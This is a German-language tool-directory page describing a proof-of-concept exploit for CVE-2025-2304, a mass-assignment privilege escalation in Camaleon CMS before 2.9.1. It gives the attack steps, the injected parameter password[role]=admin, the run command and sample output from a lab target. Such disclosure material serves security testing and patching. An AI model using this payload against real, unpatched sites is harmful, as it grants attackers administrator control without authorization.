Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC — Proof-of-Concept-Exploit für eine Massenzuweisungs-Privilegieneskalationsschwachstelle in Camaleon CMS < 2.9.1. Authentifizierte Benutzer mit niedrigen Rechten können durch Injizieren von Rollenparametern zu Administratoren aufsteigen. | Kitploit
Tools/GitHubGitHub/estebanzarate/cve-2025-2304-camaleon-cms-mass-assignment-privilege-escalation-poc
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsFehlkonfiguration
GitHubestebanzarate/cve-2025-2304-camaleon-cms-mass-assignment-privilege-escalation-poc

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC

Proof-of-Concept-Exploit für eine Massenzuweisungs-Privilegieneskalationsschwachstelle in Camaleon CMS < 2.9.1. Authentifizierte Benutzer mit niedrigen Rechten können durch Injizieren von Rollenparametern zu Administratoren aufsteigen.

Repository anzeigen
23vor 6 MonatenNoch nicht geprüft

CVE-2025-2304 — Camaleon CMS Massenzuweisungs-Privilegienerweiterung (PoC)

Privilegienerweiterungsschwachstelle in Camaleon CMS < 2.9.1. Der updated_ajax-Endpunkt in UsersController ruft params.require(:password).permit! ohne Filterung auf, sodass jeder Parameter massenweise zugewiesen werden kann. Ein authentifizierter Benutzer mit niedrigen Rechten kann durch Injizieren von password[role]=admin zusammen mit einer Passwortänderungsanforderung auf Admin-Rechte eskalieren.


Wie es funktioniert

  1. Mit den bereitgestellten Anmeldeinformationen einloggen, um eine gültige Sitzung zu erhalten.
  2. Die ID und Rolle des aktuellen Benutzers von der Profilseite abrufen.
  3. Eine PATCH-Anfrage an /admin/users/<id>/updated_ajax senden, bei der password[role]=admin in die Passwortparameter injiziert wird.
  4. Überprüfen, ob die Rolle auf admin aktualisiert wurde.

Anforderungen

  • Python 3
  • Abhängigkeiten installieren:
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Verwendung

root@kitploit:~
python3 exploit.py http://TARGET -u USER -p PASS

Beispiel:

root@kitploit:~
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

Referenzen

  • CVE-2025-2304
  • Tenable Research Advisory
  • Camaleon CMS 2.9.1 release (Fix)

Danksagungen

  • Entdeckung: Tenable Research
  • Aufbereitung & Vereinfachung: Esteban Zárate
Tool herunterladen